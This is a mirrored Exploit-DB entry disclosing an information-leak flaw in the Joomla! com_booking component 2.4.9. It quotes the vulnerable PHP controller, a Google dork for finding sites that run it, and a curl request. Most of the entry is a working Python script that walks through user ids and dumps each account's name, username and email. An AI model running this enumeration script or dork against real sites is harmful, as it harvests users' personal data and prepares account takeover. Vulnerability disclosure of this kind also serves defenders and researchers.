Joomla! com_booking component 2.4.9 – Information Leak (Account enumeration)

  • 作者: qw3rTyTy
    日期: 2023-07-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51595/
  • # Exploit Title: Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration)
    # Google Dork: inurl:"index.php?option=com_booking"
    # Date: 07/12/2023
    # Exploit Author: qw3rTyTy
    # Vendor Homepage: http://www.artio.net/
    # Software Link: http://www.artio.net/downloads/joomla/book-it/book-it-2-free/download
    # Version: 2.4.9
    # Tested on: Slackware/Nginx/Joomla! 3.10.11
    #
    ##
    # File: site/booking.php
    #
    # <?php
    # [...]
    #18 include_once (JPATH_COMPONENT_ADMINISTRATOR . DS . 'booking.php');
    # [...]
    #
    # File: admin/booking.php
    #
    # <?php
    # [...]
    #104 if (class_exists(($classname = AImporter::controller()))) {
    #105 $controller = new $classname();
    #106 /* @var $controller JController */
    #107 $controller->execute(JRequest::getVar('task'));
    #108 $controller->redirect();
    #109 }
    # [...]
    #
    # File: admin/controllers/customer.php
    #
    # <?php
    # [...]
    #240 function getUserData() {
    #241 $user = JFactory::getUser(JRequest::getInt('id'));
    #242 $data = array('name' => $user->name, 'username' => $user->username, 'email' => $user->email);
    #243 die(json_encode($data));
    #244 }
    # [...]
    #
    # A following GET request is equivalent to doing a query like 'SELECT name, username, email FROM abcde_users WHERE id=123'.
    #
    # curl -X GET http://target/joomla/index.php?option=com_booking&controller=customer&task=getUserData&id=123
    #
    # So, an attacker can easily enumerate all accounts by bruteforcing.
    #
    ##
    import argparse
    import urllib.parse
    import requests
    from sys import exit
    from time import sleep
    
    def enumerateAccounts(options):
    i = 1
    url = options.url
    url = url + "/index.php?option=com_booking&controller=customer&task=getUserData&id="
    
    while True:
    try:
    response = requests.get("{}{}".format(url, str(i)))
    
    if response.status_code == 200:
    try:
    jsondocument = response.json()
    if jsondocument["name"] != None:
    print(jsondocument)
    except requests.exceptions.JSONDecodeError:
    raise
    else:
    break
    except Exception as ex:
    print(ex)
    break
    
    i += 1
    
    def main():
    p = argparse.ArgumentParser()
    p.add_argument("-u", "--url", type=str, required=True)
    parsed = p.parse_args()
    
    try:
    t = urllib.parse.urlparse(parsed.url)
    except ValueError as ex:
    print(ex)
    exit()
    
    if not t[0].startswith("http") and not t[0].startswith("https"):
    print("Improper URL given.")
    exit()
    
    if len(t[1]) == 0:
    print("Improper URL given.")
    exit()
    
    enumerateAccounts(parsed)
    
    if __name__ == "__main__":
    main()